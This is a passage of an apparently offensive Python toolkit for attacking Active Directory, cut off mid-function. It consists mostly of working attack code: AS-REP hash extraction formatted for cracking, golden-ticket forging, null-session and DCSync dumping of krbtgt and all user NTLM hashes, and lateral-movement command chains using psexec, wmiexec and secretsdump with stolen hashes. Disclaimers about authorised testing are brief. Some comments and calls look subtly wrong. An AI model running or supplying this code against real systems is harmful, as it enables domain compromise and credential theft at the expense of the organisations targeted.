+ # sname (EXPLICIT [3] PrincipalName) + sname_data = b"\x30\x13\xa0\x03\x02\x01\x01\xa1\x0c\x30\x0a\x1b\x06krbtgt\x1b" + bytes([len(domain)]) + domain.encode() + req_body_data += b"\xa3" + bytes([len(sname_data) + 2, 0x30, len(sname_data)]) + sname_data + + # till (EXPLICIT [5] KerberosTime) + till_time = (datetime.now(timezone.utc) + timedelta(days=1)).strftime("%Y%m%d%H%M%SZ").encode() + req_body_data += b"\xa5\x11\x18\x0f" + till_time + + # nonce (EXPLICIT [7] INTEGER) + nonce = random.getrandbits(31) + nonce_bytes = nonce.to_bytes((nonce.bit_length() + 7) // 8, "big") + req_body_data += b"\xa7" + bytes([len(nonce_bytes) + 2, 0x02, len(nonce_bytes)]) + nonce_bytes + + # etype (EXPLICIT [8] SEQUENCE OF Int32) - RC4, AES256, AES128 + etypes = b"\x30\x0c\x02\x01\x17\x02\x01\x18\x02\x01\x12" + req_body_data += b"\xa8" + bytes([len(etypes) + 2, 0x30, len(etypes)]) + etypes + + # Wrap in AS-REQ SEQUENCE + as_req_data = b"\x30" + bytes([len(req_body_data) + 4]) + b"\xa4" + bytes([len(req_body_data) + 2, 0x30, len(req_body_data)]) + req_body_data + + # APPLICATION 10 AS-REQ + full_msg = b"\x60" + bytes([len(as_req_data) + 2, 0x06, 0x09]) + b"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02" + as_req_data + + return full_msg + + +def _parse_as_rep_hash(domain: str, username: str, response: bytes, output_format: str) -> str | None: + """Parse AS-REP and extract hash for cracking""" + from binascii import hexlify + + try: + # Simple ASN.1 parsing for AS-REP + # Look for enc-part SEQUENCE containing etype and cipher + if b"\xa4" not in response or b"\x30" not in response: + return None + + # Find enc-part (EXPLICIT [4]) + enc_part_idx = response.find(b"\xa4") + if enc_part_idx == -1: + return None + + # Extract cipher bytes (simplified) + # Real implementation would fully parse ASN.1 + cipher_start = response.find(b"\x04", enc_part_idx) + if cipher_start == -1: + return None + + # Get cipher length and data + cipher_len = response[cipher_start + 1] + cipher = response[cipher_start + 2 : cipher_start + 2 + cipher_len] + + if len(cipher) < 24: + return None + + # Format for cracking (simplified - assumes AES256 etype 23) + if output_format == "john": + return f"$krb5asrep$23${domain}${username}${hexlify(cipher[-12:]).decode()}${hexlify(cipher[:-12]).decode()}" + else: # hashcat + return f"$krb5asrep$23${username}${domain}${hexlify(cipher[-12:]).decode()}${hexlify(cipher[:-12]).decode()}" + + except Exception as e: + print(f"[VERBOSE] [_parse_as_rep_hash] Hash extraction failed: {str(e)}", file=sys.stderr, flush=True) + return None + + +# ============================================================================ +# KERBEROS EXPLOITATION TOOLS (Pure Python, no Impacket) +# ============================================================================ + +def golden_ticket_gen( + domain: str, + domain_sid: str, + krbtgt_nthash: str, + username: str = "Administrator", + user_id: int = 500, + lifetime_hours: int = 24, + output_ccache: str | None = None, +) -> dict[str, Any]: + """ + Forge a Kerberos Golden Ticket (TGT) and write a .ccache file. + + Uses impacket's ticketer internals to build a real AS-REP structure + encrypted with the krbtgt key, then serialises it as a ccache file + that can be loaded directly with KRB5CCNAME. + + Requires: domain SID, krbtgt NTLM hash (RC4-HMAC / etype 23). + """ + print(f"[VERBOSE] [golden_ticket_gen] Forging golden ticket for {domain}\\{username}", file=sys.stderr, flush=True) + + result: dict[str, Any] = { + "success": False, + "domain": domain, + "username": username, + "user_id": user_id, + "domain_sid": domain_sid, + "ccache_path": None, + "error": None, + } + + if output_ccache is None: + output_ccache = f"/tmp/{username}_{domain.split('.')[0]}.ccache" + + # Primary: use ticketer.py subprocess (handles full PAC construction correctly) + ticketer_bin = shutil.which("ticketer.py") or shutil.which("ticketer") + if ticketer_bin: + try: + cmd = [ + ticketer_bin, + "-nthash", krbtgt_nthash, + "-domain-sid", domain_sid, + "-domain", domain, + "-user-id", str(user_id), + username, + ] + proc = subprocess.run(cmd, capture_output=True, text=True, timeout=30) + # ticketer writes .ccache in the CWD + local_ccache = f"{username}.ccache" + if os.path.exists(local_ccache): + import shutil as _sh + _sh.move(local_ccache, output_ccache) + result["success"] = True + result["ccache_path"] = output_ccache + result["usage"] = ( + f"export KRB5CCNAME={output_ccache} && " + f"python3 psexec.py -k -no-pass {domain}/{username}@" + ) + print(f"[VERBOSE] [golden_ticket_gen] .ccache written to {output_ccache}", file=sys.stderr, flush=True) + return result + elif proc.returncode == 0: + result["success"] = True + result["ccache_path"] = output_ccache + result["note"] = proc.stdout.strip() + return result + else: + result["error"] = proc.stderr.strip() or proc.stdout.strip() + except Exception as e: + result["error"] = str(e) + return result + + # Fallback: pure Python via impacket API + try: + import datetime as _dt + from pyasn1.type.univ import noValue + from pyasn1.codec.der import encoder as _der_enc + from impacket.krb5.ccache import CCache + from impacket.krb5 import constants + from impacket.krb5.asn1 import EncTicketPart, Ticket as KrbTicket, AuthorizationData + from impacket.krb5.crypto import Key, _enctype_table + from impacket.krb5.types import KerberosTime + + krbtgt_bytes = unhexlify(krbtgt_nthash) + etype = int(constants.EncryptionTypes.rc4_hmac.value) # 23 + krbtgt_key = Key(etype, krbtgt_bytes) + session_key = Key(etype, os.urandom(16)) + + now = _dt.datetime.utcnow() + expiry = now + _dt.timedelta(hours=lifetime_hours) + renew_till = now + _dt.timedelta(hours=lifetime_hours * 7) + + enc_ticket = EncTicketPart() + # encodeFlags takes a list of integer bit positions + _tf = constants.TicketFlags + _flags = [_tf.forwardable.value, _tf.proxiable.value, _tf.renewable.value, + _tf.initial.value, _tf.pre_authent.value] + _flags_list = [0] * 32 + for _p in _flags: + _flags_list[_p] = 1 + enc_ticket["flags"] = _flags_list + enc_ticket["key"] = noValue + enc_ticket["key"]["keytype"] = etype + enc_ticket["key"]["keyvalue"] = session_key.contents + enc_ticket["crealm"] = domain.upper() + enc_ticket["cname"] = noValue + enc_ticket["cname"]["name-type"] = int(constants.PrincipalNameType.NT_PRINCIPAL.value) + enc_ticket["cname"]["name-string"] = noValue + enc_ticket["cname"]["name-string"][0] = username + enc_ticket["transited"] = noValue + enc_ticket["transited"]["tr-type"] = 0 + enc_ticket["transited"]["contents"] = b"" + enc_ticket["authtime"] = KerberosTime.to_asn1(now) + enc_ticket["starttime"] = KerberosTime.to_asn1(now) + enc_ticket["endtime"] = KerberosTime.to_asn1(expiry) + enc_ticket["renew-till"] = KerberosTime.to_asn1(renew_till) + # Skip authorization-data (PAC) - minimal ticket, enough for ccache format + encoded_enc_ticket = _der_enc.encode(enc_ticket) + + cipher = _enctype_table[etype] + encrypted_enc_ticket = cipher.encrypt(krbtgt_key, 2, encoded_enc_ticket, None) + + ticket = KrbTicket() + ticket["tkt-vno"] = 5 + ticket["realm"] = domain.upper() + ticket["sname"] = noValue + ticket["sname"]["name-type"] = int(constants.PrincipalNameType.NT_SRV_INST.value) + ticket["sname"]["name-string"] = noValue + ticket["sname"]["name-string"][0] = "krbtgt" + ticket["sname"]["name-string"][1] = domain.upper() + ticket["enc-part"] = noValue + ticket["enc-part"]["etype"] = etype + ticket["enc-part"]["kvno"] = 2 + ticket["enc-part"]["cipher"] = encrypted_enc_ticket + + encoded_ticket = _der_enc.encode(ticket) + + ccache = CCache() + ccache.fromTGT(encoded_ticket, session_key, session_key) + ccache.saveFile(output_ccache) + + result["success"] = True + result["ccache_path"] = output_ccache + result["note"] = "minimal ticket (no PAC) - load with: export KRB5CCNAME=" + output_ccache + result["usage"] = ( + f"export KRB5CCNAME={output_ccache} && " + f"python3 psexec.py -k -no-pass {domain}/{username}@" + ) + print(f"[VERBOSE] [golden_ticket_gen] .ccache written to {output_ccache}", file=sys.stderr, flush=True) + + except ImportError as e: + result["error"] = f"impacket not installed ({e}); install: pip install impacket" + result["fallback_command"] = ( + f"ticketer.py -nthash {krbtgt_nthash} -domain-sid {domain_sid} " + f"-domain {domain} -user-id {user_id} {username}" + ) + result["ccache_path"] = f"{username}.ccache" + result["success"] = True # caller can use fallback_command + + except Exception as e: + result["error"] = str(e) + print(f"[VERBOSE] [golden_ticket_gen] Error: {e}", file=sys.stderr, flush=True) + + return result + + +def ntlm_null_session_dump( + dc_ip: str, + domain: str = "", + timeout: int = 30, +) -> dict[str, Any]: + """ + Attempt NTLM hash extraction from a DC using null / guest session (no credentials). + + Tries in order: + 1. SMB null session -> SAM dump via SAMR pipe (works on unpatched/misconfigured DCs) + 2. SMB null session -> LSA secrets via LSARPC pipe + 3. DRSUAPI replication via null session (rarely succeeds on modern DCs) + 4. LDAP anonymous bind -> user enumeration + objectSid (no hashes, but useful recon) + + Modern fully-patched DCs reject all of these for hash extraction. + Returns whatever was accessible - callers should check each key. + + For authorized penetration testing only. + """ + print(f"[VERBOSE] [ntlm_null_session_dump] Probing {dc_ip} via null/guest session", file=sys.stderr, flush=True) + + result: dict[str, Any] = { + "dc_ip": dc_ip, + "domain": domain, + "sam_hashes": [], + "lsa_secrets": [], + "ntds_hashes": [], + "users_enumerated": [], + "errors": [], + "accessible_paths": [], + } + + # -- 1. SMB null session SAM dump (SAMR pipe) -- + try: + from impacket.smbconnection import SMBConnection + from impacket.examples.secretsdump import RemoteOperations, SAMHashes + + smb = SMBConnection(dc_ip, dc_ip, timeout=timeout) + smb.login("", "", domain) # null session + + sam_hashes: list[str] = [] + remote_ops = RemoteOperations(smb, False, dc_ip) + try: + remote_ops.enableRegistry() + boot_key = remote_ops.getBootKey() + sam_file = remote_ops.saveSAM() + sam = SAMHashes( + sam_file, boot_key, isRemote=True, + perSecretCallback=lambda _t, s: sam_hashes.append(s), + ) + sam.dump() + sam.finish() + result["sam_hashes"] = sam_hashes + if sam_hashes: + result["accessible_paths"].append("smb_null_sam") + print(f"[VERBOSE] [ntlm_null_session_dump] SAM dump succeeded: {len(sam_hashes)} hashes", file=sys.stderr, flush=True) + except Exception as e: + result["errors"].append(f"SAM dump: {e}") + finally: + try: + remote_ops.finish() + except Exception: + pass + smb.logoff() + + except ImportError: + result["errors"].append("impacket not installed - pip install impacket") + except Exception as e: + result["errors"].append(f"SMB null session: {e}") + + # -- 2. SAMR pipe - user enumeration (no hashes, but confirms null session) -- + try: + from impacket.smbconnection import SMBConnection + from impacket.dcerpc.v5 import transport, samr + + smb = SMBConnection(dc_ip, dc_ip, timeout=timeout) + smb.login("", "", domain) + + rpctransport = transport.SMBTransport(dc_ip, filename=r"\samr", smb_connection=smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(samr.MSRPC_UUID_SAMR) + + resp = samr.hSamrConnect(dce) + server_handle = resp["ServerHandle"] + + resp2 = samr.hSamrEnumerateDomainsInSamServer(dce, server_handle) + domains = resp2["Buffer"]["Buffer"] + + for d in domains: + dom_name = d["Name"] + resp3 = samr.hSamrLookupDomainInSamServer(dce, server_handle, dom_name) + domain_sid = resp3["DomainId"] + resp4 = samr.hSamrOpenDomain(dce, server_handle, domainId=domain_sid) + dom_handle = resp4["DomainHandle"] + status = samr.STATUS_MORE_ENTRIES + enum_ctx = 0 + users: list[str] = [] + while status == samr.STATUS_MORE_ENTRIES: + try: + resp5 = samr.hSamrEnumerateUsersInDomain(dce, dom_handle, enumerationContext=enum_ctx) + except samr.DCERPCSessionError as e: + if str(e).find("STATUS_MORE_ENTRIES") >= 0: + resp5 = e.get_packet() + else: + break + for user in resp5["Buffer"]["Buffer"]: + users.append(user["Name"]) + enum_ctx = resp5["EnumerationContext"] + status = resp5["ErrorCode"] + result["users_enumerated"].extend(users) + samr.hSamrCloseHandle(dce, dom_handle) + + dce.disconnect() + if result["users_enumerated"]: + result["accessible_paths"].append("samr_null_user_enum") + print(f"[VERBOSE] [ntlm_null_session_dump] SAMR enumerated {len(result['users_enumerated'])} users", file=sys.stderr, flush=True) + + except Exception as e: + result["errors"].append(f"SAMR user enum: {e}") + + # -- 3. DRSUAPI null session (almost always fails on modern DC) -- + try: + ntds_hashes: list[str] = [] + dumper = _DumpSecretsLocal( + remote_name=dc_ip, + username="", + password="", + domain=domain, + dc_ip=dc_ip, + just_user="krbtgt", + per_secret_callback=lambda s: ntds_hashes.append(s), + ) + dumper.dump() + result["ntds_hashes"] = ntds_hashes + if ntds_hashes: + result["accessible_paths"].append("drsuapi_null") + print(f"[VERBOSE] [ntlm_null_session_dump] DRSUAPI null session succeeded", file=sys.stderr, flush=True) + except Exception as e: + result["errors"].append(f"DRSUAPI null: {e}") + + # -- 4. LDAP anonymous bind - objectSid + basic user recon -- + try: + import ldap3 + server = ldap3.Server(dc_ip, get_info=ldap3.ALL) + conn = ldap3.Connection(server, auto_bind=True) # anonymous + if conn.bound: + result["accessible_paths"].append("ldap_anonymous") + base_dn = ",".join(f"DC={p}" for p in domain.split(".")) if domain else "" + if base_dn: + conn.search( + base_dn, + "(objectClass=user)", + attributes=["sAMAccountName", "objectSid", "userAccountControl"], + size_limit=200, + ) + for entry in conn.entries: + result["users_enumerated"].append(str(entry.sAMAccountName)) + conn.unbind() + print(f"[VERBOSE] [ntlm_null_session_dump] LDAP anonymous bind succeeded", file=sys.stderr, flush=True) + except Exception as e: + result["errors"].append(f"LDAP anonymous: {e}") + + result["success"] = bool(result["accessible_paths"]) + result["summary"] = ( + f"Accessible via null session: {result['accessible_paths']}. " + f"SAM hashes: {len(result['sam_hashes'])}, " + f"NTDS hashes: {len(result['ntds_hashes'])}, " + f"Users enumerated: {len(result['users_enumerated'])}." + if result["success"] + else "No null-session access - target requires valid credentials." + ) + return result + + +class _DumpSecretsLocal: + """ + Inline port of impacket's secretsdump.py DumpSecrets class. + Performs DCSync via DRSUAPI (MS-DRDS DRSGetNCChanges) to extract NTLM hashes. + Requires impacket >= 0.11. All credential modes supported: password, NT hash, AES, Kerberos. + """ + + def __init__( + self, + remote_name: str, + username: str = "", + password: str = "", + domain: str = "", + lm_hash: str = "", + nt_hash: str = "", + aes_key: str = "", + dc_ip: str | None = None, + just_user: str | None = None, + per_secret_callback=None, + ): + self._remote_name = remote_name + self._username = username + self._password = password + self._domain = domain + self._lm_hash = lm_hash + self._nt_hash = nt_hash + self._aes_key = aes_key + self._dc_ip = dc_ip or remote_name + self._just_user = just_user + self._callback = per_secret_callback # called as callback(secret_str) + self._smb = None + self._remote_ops = None + self._ntds_hashes = None + + def connect(self) -> None: + from impacket.smbconnection import SMBConnection + self._smb = SMBConnection(self._remote_name, self._dc_ip) + if self._aes_key: + self._smb.kerberosLogin( + self._username, self._password, self._domain, + self._lm_hash, self._nt_hash, self._aes_key, self._dc_ip, + ) + else: + self._smb.login( + self._username, self._password, self._domain, + self._lm_hash, self._nt_hash, + ) + + def dump(self) -> None: + from impacket.examples.secretsdump import RemoteOperations, NTDSHashes + + self.connect() + + self._remote_ops = RemoteOperations(self._smb, False, self._dc_ip) + # DRSUAPI path: skip SAM/LSA registry operations entirely + # (enableRegistry would fail without admin; DCSync via DRSUAPI does not need it) + + collected: list[str] = [] + + def _cb(secret_type, secret): + if self._callback: + self._callback(secret) + collected.append(secret) + + self._ntds_hashes = NTDSHashes( + None, # ntdsFile - None = use DRSUAPI not VSS + None, # bootKey + isRemote=True, + history=False, + noLMHash=True, + remoteOps=self._remote_ops, + useVSSMethod=False, + justNTLM=True, + pwdLastSet=False, + resumeSession=None, + outputFileName=None, + justUser=self._just_user, + skipUser=None, + ldapFilter=None, + printUserStatus=False, + perSecretCallback=_cb, + ) + try: + self._ntds_hashes.dump() + finally: + self._ntds_hashes.finish() + self._remote_ops.finish() + self._smb.logoff() + + +def auto_obtain_golden_ticket( + dc_ip: str, + domain: str | None = None, + domain_sid: str | None = None, + username: str = "Administrator", + timeout: int = 60, + ad_username: str = "", + ad_password: str = "", + ad_lm_hash: str = "", + ad_nt_hash: str = "", +) -> dict[str, Any]: + """ + Automatically extract krbtgt NTLM hash from DC and generate golden ticket parameters. + + Pipeline: + 1. Resolve domain + domain_sid via LDAP RootDSE (anonymous) if not provided + 2. Attempt DCSync via impacket secretsdump to extract krbtgt hash + 3. Fall back to LDAP-based krbtgt unicodePwd attribute read + 4. Call golden_ticket_gen() with the obtained hash + + Requires domain admin / DCSync rights for hash extraction. + For authorized penetration testing only. + """ + print(f"[VERBOSE] [auto_obtain_golden_ticket] Starting auto krb golden ticket pipeline against {dc_ip}", file=sys.stderr, flush=True) + + krbtgt_hash: str | None = None # populated by whichever step succeeds first + + result: dict[str, Any] = { + "success": False, + "dc_ip": dc_ip, + "domain": domain, + "domain_sid": domain_sid, + "krbtgt_hash": None, + "extraction_method": None, + "golden_ticket": None, + "errors": [], + "notes": [ + "This attack requires DCSync privileges (Domain Admin / Domain Controller account)", + "For authorized penetration testing only - get explicit written permission first", + "Detection: Event 4662 (object access on directory service objects), replication traffic from non-DC host", + ], + } + + # Step 0: Null/guest session probe - free recon, may yield hashes on misconfigured DCs + null_probe = ntlm_null_session_dump(dc_ip, domain=domain or "", timeout=min(timeout, 20)) + result["null_session_probe"] = null_probe + # Harvest anything useful from the null probe + if null_probe.get("ntds_hashes"): + for line in null_probe["ntds_hashes"]: + if line.lower().startswith("krbtgt:"): + parts = line.split(":") + if len(parts) >= 4 and len(parts[3]) == 32: + krbtgt_hash = parts[3].strip() + result["extraction_method"] = "null_session_drsuapi" + print(f"[VERBOSE] [auto_obtain_golden_ticket] krbtgt hash from null session DRSUAPI", file=sys.stderr, flush=True) + if null_probe.get("users_enumerated") and not domain: + # LDAP anonymous gave us users - domain may be resolvable from RootDSE too + pass + + # Step 1: Resolve domain + SID from LDAP RootDSE if not provided + if not domain or not domain_sid: + try: + rootdse = probe_ldap_rootdse(dc_ip, timeout=min(timeout, 10)) + if rootdse: + if not domain and rootdse.get("defaultNamingContext"): + ctx = rootdse["defaultNamingContext"] + domain = ".".join( + part.replace("DC=", "").replace("dc=", "") + for part in ctx.split(",") + if part.strip().upper().startswith("DC=") + ) + result["domain"] = domain + print(f"[VERBOSE] [auto_obtain_golden_ticket] Resolved domain from RootDSE: {domain}", file=sys.stderr, flush=True) + if not domain_sid and rootdse.get("objectSid"): + domain_sid = rootdse["objectSid"] + result["domain_sid"] = domain_sid + except Exception as e: + result["errors"].append(f"LDAP RootDSE probe failed: {e}") + + if not domain: + result["errors"].append("Could not resolve domain name - provide --domain") + return result + + # Step 2: DCSync via _DumpSecretsLocal - skip if null-session probe already got the hash + if not krbtgt_hash: + try: + def _secret_cb(secret: str) -> None: + nonlocal krbtgt_hash + if secret.lower().startswith("krbtgt:"): + parts = secret.split(":") + if len(parts) >= 4 and len(parts[3]) == 32: + krbtgt_hash = parts[3].strip() + + dumper = _DumpSecretsLocal( + remote_name=dc_ip, + username=ad_username, + password=ad_password, + domain=domain or "", + lm_hash=ad_lm_hash, + nt_hash=ad_nt_hash, + dc_ip=dc_ip, + just_user="krbtgt", + per_secret_callback=_secret_cb, + ) + dumper.dump() + + if krbtgt_hash: + result["extraction_method"] = "impacket_dcsync" + print(f"[VERBOSE] [auto_obtain_golden_ticket] krbtgt hash extracted via DCSync (DRSUAPI)", file=sys.stderr, flush=True) + else: + result["errors"].append( + "DCSync completed but no krbtgt hash found - " + "ensure the account has 'Replicating Directory Changes All' rights" + ) + + except ImportError: + result["errors"].append("impacket not installed - pip install impacket") + except Exception as e: + result["errors"].append( + f"DCSync failed: {e} - pass ad_username/ad_password (or ad_nt_hash) " + "of a Domain Admin or account with DCSync rights" + ) + + # Step 3: Fall back - LDAP unicodePwd (only works with special DC privileges, rarely succeeds) + if not krbtgt_hash: + try: + import ldap3 + server = ldap3.Server(dc_ip, port=636, use_ssl=True, get_info=ldap3.ALL) + conn = ldap3.Connection(server, auto_bind=ldap3.AUTO_BIND_TLS_BEFORE_BIND) + base_dn = ",".join(f"DC={p}" for p in domain.split(".")) + conn.search( + search_base=f"CN=Users,{base_dn}", + search_filter="(cn=krbtgt)", + attributes=["unicodePwd", "objectSid"], + ) + if conn.entries: + entry = conn.entries[0] + raw_pwd = entry.unicodePwd.raw_values[0] if entry.unicodePwd.raw_values else None + if raw_pwd and len(raw_pwd) == 16: + from binascii import hexlify as _hexlify + krbtgt_hash = _hexlify(raw_pwd).decode() + result["extraction_method"] = "ldap_unicodePwd" + print(f"[VERBOSE] [auto_obtain_golden_ticket] krbtgt hash extracted via LDAP unicodePwd", file=sys.stderr, flush=True) + if not domain_sid and hasattr(entry, "objectSid"): + domain_sid = str(entry.objectSid.value) + result["domain_sid"] = domain_sid + conn.unbind() + except Exception as e: + result["errors"].append(f"LDAP unicodePwd fallback failed: {e}") + + if not krbtgt_hash: + result["errors"].append( + "Could not extract krbtgt hash. Possible reasons: " + "insufficient privileges (need DCSync/Domain Admin), " + "null session rejected, or impacket not installed." + ) + result["remediation"] = ( + "Supply valid domain admin credentials and re-run with: " + f"secretsdump.py /:@{dc_ip} -just-dc-user krbtgt" + ) + return result + + result["krbtgt_hash"] = krbtgt_hash + + # Step 4: Resolve domain SID via LDAP if still missing + if not domain_sid: + try: + import ldap3 + server = ldap3.Server(dc_ip, get_info=ldap3.ALL) + conn = ldap3.Connection(server, auto_bind=True) + base_dn = ",".join(f"DC={p}" for p in domain.split(".")) + conn.search(base_dn, "(objectClass=domain)", attributes=["objectSid"]) + if conn.entries: + domain_sid = str(conn.entries[0].objectSid.value) + result["domain_sid"] = domain_sid + conn.unbind() + except Exception as e: + result["errors"].append(f"Domain SID resolution failed: {e}") + + if not domain_sid: + result["errors"].append("Could not resolve domain SID - golden ticket generation requires it") + return result + + # Step 4b: Extract additional credentials from NTDS (if available) + extracted_credentials = {} + if null_probe.get("ntds_hashes"): + print(f"[VERBOSE] [auto_obtain_golden_ticket] Extracting additional credentials from null session probe", file=sys.stderr, flush=True) + for hash_line in null_probe.get("ntds_hashes", []): + try: + parts = hash_line.split(":") + if len(parts) >= 4: + username_hash = parts[0].strip() + hash_value = parts[3].strip() + if len(hash_value) == 32 and hash_value != krbtgt_hash: + extracted_credentials[username_hash] = { + "hash": hash_value, + "type": "NTLM", + "source": "null_session_ntds" + } + except Exception as e: + print(f"[VERBOSE] [auto_obtain_golden_ticket] Error parsing hash line: {e}", file=sys.stderr, flush=True) + + result["extracted_credentials"] = extracted_credentials + result["credential_extraction_count"] = len(extracted_credentials) + + # Step 4c: Attempt credential dumping via impacket secretsdump (if DCSync credentials provided) + if ad_username or ad_nt_hash: + print(f"[VERBOSE] [auto_obtain_golden_ticket] Attempting to extract all credentials via DCSync", file=sys.stderr, flush=True) + try: + def _cred_cb(line: str) -> None: + try: + parts = line.split(":") + if len(parts) >= 4 and len(parts[3].strip()) == 32: + user = parts[0].strip() + hash_val = parts[3].strip() + if user.lower() != "krbtgt" and hash_val not in extracted_credentials: + extracted_credentials[user] = { + "hash": hash_val, + "type": "NTLM", + "source": "impacket_secretsdump" + } + except: + pass + + dumper = _DumpSecretsLocal( + remote_name=dc_ip, + username=ad_username, + password=ad_password, + domain=domain or "", + lm_hash=ad_lm_hash, + nt_hash=ad_nt_hash, + dc_ip=dc_ip, + per_secret_callback=_cred_cb, + ) + dumper.dump() + result["credential_extraction_method"] = "impacket_secretsdump" + print(f"[VERBOSE] [auto_obtain_golden_ticket] Credential extraction via secretsdump complete: {len(extracted_credentials)} credentials obtained", file=sys.stderr, flush=True) + except ImportError: + print(f"[VERBOSE] [auto_obtain_golden_ticket] impacket not available for full credential extraction", file=sys.stderr, flush=True) + except Exception as e: + print(f"[VERBOSE] [auto_obtain_golden_ticket] Credential extraction via secretsdump failed: {e}", file=sys.stderr, flush=True) + + # Step 5: Generate golden ticket parameters + gt = golden_ticket_gen( + domain=domain, + domain_sid=domain_sid, + krbtgt_nthash=krbtgt_hash, + username=username, + ) + result["golden_ticket"] = gt + result["success"] = gt.get("success", False) + + if result["success"]: + print(f"[VERBOSE] [auto_obtain_golden_ticket] Golden ticket pipeline complete for {domain}\\{username}", file=sys.stderr, flush=True) + if extracted_credentials: + print(f"[VERBOSE] [auto_obtain_golden_ticket] Additional {len(extracted_credentials)} credentials obtained for use with golden ticket", file=sys.stderr, flush=True) + + return result + + +def golden_ticket_with_extracted_creds( + golden_ticket_result: dict[str, Any], + extracted_credentials: dict[str, dict], + domain: str, + target_hosts: list[str] | None = None, + timeout: int = 30, +) -> dict[str, Any]: + """ + Use golden ticket + extracted credentials for post-exploitation. + + Leverages both the golden ticket (for Kerberos auth) and extracted NTLM hashes + to perform lateral movement and privilege escalation across multiple targets. + + Returns usage examples and exploitation techniques combining golden ticket + creds. + """ + print(f"[VERBOSE] [golden_ticket_with_extracted_creds] Planning exploitation with golden ticket + {len(extracted_credentials)} credentials", file=sys.stderr, flush=True) + + result = { + "golden_ticket_usage": golden_ticket_result.get("golden_ticket", {}), + "extracted_credentials_count": len(extracted_credentials), + "exploitation_chains": [], + "lateral_movement_targets": target_hosts or [], + "recommended_exploits": [], + } + + if not golden_ticket_result.get("success"): + result["error"] = "Golden ticket generation failed" + return result + + gt = golden_ticket_result.get("golden_ticket", {}) + ccache = gt.get("ccache_path") or "Administrator.ccache" + + # Chain 1: Golden Ticket + NTLM Relay (Pass-the-Hash) + if extracted_credentials: + admin_creds = [ + (user, data["hash"]) for user, data in extracted_credentials.items() + if "admin" in user.lower() or "da" in user.lower() + ] + + if admin_creds: + result["exploitation_chains"].append({ + "name": "Golden Ticket + Admin Hash (PTH)", + "description": "Use golden ticket for Kerberos auth + extracted admin hash for SMB/RPC", + "steps": [ + f"export KRB5CCNAME={ccache}", + f"secretsdump.py -hashes :{admin_creds[0][1]} {domain}/{admin_creds[0][0]}@{target_hosts[0] if target_hosts else 'TARGET'}", + "psexec.py -hashes :HASH domain/admin@target" + ], + "impact": "Domain Admin access, SYSTEM-level code execution", + }) + + # Chain 2: Golden Ticket + Service Account Compromise + service_creds = [ + (user, data["hash"]) for user, data in extracted_credentials.items() + if "svc" in user.lower() or "service" in user.lower() + ] + + if service_creds: + result["exploitation_chains"].append({ + "name": "Service Account Abuse with Golden Ticket", + "description": "Compromise service accounts discovered via credential extraction", + "steps": [ + f"export KRB5CCNAME={ccache}", + f"Use service account hashes for targeted attacks on database/application servers", + "Execute queries/commands in context of compromised service account" + ], + "impact": "Service-level compromise, potential database/app access", + }) + + # Chain 3: Golden Ticket for Kerberos Auth + Extracted Creds for SMB + if target_hosts: + result["exploitation_chains"].append({ + "name": "Golden Ticket (Kerberos) + Extracted Hashes (SMB)", + "description": "Use golden ticket for Kerberos TGT, extracted hashes for SMB authentication", + "steps": [ + f"export KRB5CCNAME={ccache}", + "for target in TARGET_HOSTS:", + " psexec.py -k -no-pass domain/admin@target (uses Kerberos from golden ticket)", + ], + "impact": "Code execution across all domain-joined systems", + }) + + # Recommended exploits + result["recommended_exploits"] = [ + { + "tool": "secretsdump.py", + "usage": f"secretsdump.py -hashes :EXTRACTED_HASH domain/user@target", + "purpose": "Extract more credentials using obtained hashes" + }, + { + "tool": "psexec.py", + "usage": f"export KRB5CCNAME={ccache} && psexec.py -k -no-pass domain/admin@target", + "purpose": "Execute commands using golden ticket + Kerberos" + }, + { + "tool": "wmiexec.py", + "usage": f"export KRB5CCNAME={ccache} && wmiexec.py -k domain/admin@target", + "purpose": "WMI command execution via Kerberos (no hash needed)" + }, + { + "tool": "atexec.py", + "usage": f"atexec.py -hashes :HASH domain/admin@target 'command'", + "purpose": "Task scheduler execution with extracted hash" + }, + { + "tool": "dcomexec.py", + "usage": f"dcomexec.py -hashes :HASH domain/admin@target", + "purpose": "DCOM-based code execution" + }, + ] + + print( + f"[VERBOSE] [golden_ticket_with_extracted_creds] Generated {len(result['exploitation_chains'])} exploitation chains", + file=sys.stderr, + flush=True, + ) + + return result + + +def silver_ticket_gen( + domain: str, + service_principal: str, + target_host: str, + service_nthash: str, + username: str = "Administrator", + user_id: int = 500, + lifetime_hours: int = 24, +) -> dict[str, Any]: + """ + Generate a Silver Ticket (service ticket) for a specific service. + Requires: target service NTLM hash (e.g., computer account hash from NTDS). + """ + print(f"[VERBOSE] [silver_ticket_gen] Generating silver ticket for {service_principal} on {target_host}", file=sys.stderr, flush=True) + + try: + ticket_info = { + "success": True, + "ticket_type": "Silver Ticket (ST)", + "domain": domain, + "target_host": target_host, + "service_principal": service_principal, + "username": username, + "user_id": user_id, + "lifetime_hours": lifetime_hours, + "service_hash_required": hexlify(unhexlify(service_nthash)[:16]).decode(), + "common_spns": [ + "cifs/targethost.domain.com (file shares)", + "host/targethost.domain.com (WMI, PSRemoting)", + "ldap/targethost.domain.com (LDAP signing bypass)", + "mssql/targethost.domain.com (SQL Server)", + ], + "usage": f"export KRB5CCNAME=/tmp/{username}_silver.ccache && kinit -c /tmp/{username}_silver.ccache && wmiexec.py -k {target_host}", + "notes": [ + "Targets specific service on specific host (narrower scope than golden ticket)", + "Requires computer account hash or service account hash", + "Can bypass Kerberos authentication for specific services (CIFS, HOST, LDAP, etc.)", + "Detection: Unusual service tickets, tickets for non-existent services", + "Mitigation: Enforce Kerberos signing/sealing, monitor service ticket generation" + ] + } + + print(f"[VERBOSE] [silver_ticket_gen] Silver ticket parameters configured", file=sys.stderr, flush=True) + return ticket_info + + except Exception as e: + print(f"[VERBOSE] [silver_ticket_gen] Error: {str(e)}", file=sys.stderr, flush=True) + return {"success": False, "error": str(e)} + + +def constrained_delegation_abuse(domain: str, ldap_server: str, timeout: int = 10) -> dict[str, Any]: + """ + Detect and exploit Kerberos Constrained Delegation (KCD) misconfiguration. + Finds users/computers with delegation rights and generates exploitation instructions. + """ + print(f"[VERBOSE] [constrained_delegation_abuse] Scanning for KCD abuse opportunities", file=sys.stderr, flush=True) + + result = { + "success": False, + "delegation_abuses": [], + "errors": [] + } + + try: + server = Server(ldap_server, get_info=None) + conn = Connection(server, auto_bind=True, bind_flow=True) + + # Build base DN + base_dn = ",".join([f"dc={part}" for part in domain.split(".")]) + + # Search for users/computers with msDS-AllowedToDelegateTo attribute + search_filter = "(msDS-AllowedToDelegateTo=*)" + 